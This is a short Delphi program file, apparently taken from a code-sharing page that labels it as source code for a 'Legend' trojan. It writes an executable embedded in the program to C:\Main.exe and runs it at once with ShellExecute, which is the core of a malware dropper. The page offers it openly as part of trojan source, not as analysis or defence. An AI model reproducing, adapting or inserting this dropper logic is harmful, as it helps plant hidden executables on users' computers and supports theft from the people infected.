test.dpr

来自「传奇木马Delphi源程序」· DPR 代码 · 共 37 行

Program Test;
{
This File Create By PasAnyWhere1.2
Author:[e-mail].

------- 

History:
------- 

PasAnyWhere1.0(2003.10.10)
  Original Version.Only SaveToFile,Use TFileStream.

PasAnyWhere1.1(2004.01.08)
  SaveToFile,Use File Handle.

PasAnyWhere1.2(2004.01.16)
  Add SaveToStream Function.

}

uses
  Windows,ShellApi,Classes,Unit_Main;

var
SaveStream:TMemoryStream;
begin
SaveStream:=TMemoryStream.Create;
 try
   Cjt_SaveMainToStream(SaveStream);
   SaveStream.SaveToFile('C:\Main.exe');
 finally
   SaveStream.Free;
 end;
ShellExecute(GetDesktopWindow, 'OPEN','C:\Main.exe','','', SW_SHOWNORMAL);
end.